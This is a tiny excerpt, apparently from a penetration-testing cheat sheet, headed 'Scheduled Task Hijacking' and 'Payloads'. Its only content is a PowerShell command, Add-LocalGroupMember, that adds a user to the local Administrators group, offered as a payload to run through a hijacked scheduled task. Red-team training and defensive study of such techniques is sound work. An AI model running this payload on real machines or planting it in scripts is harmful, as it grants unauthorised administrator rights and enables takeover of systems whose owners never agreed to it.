Scheduled Task Hijacking

Payloads

Add User to the Administrators group

Add-LocalGroupMember -Group "Administrators" -Member "WIN01\\User"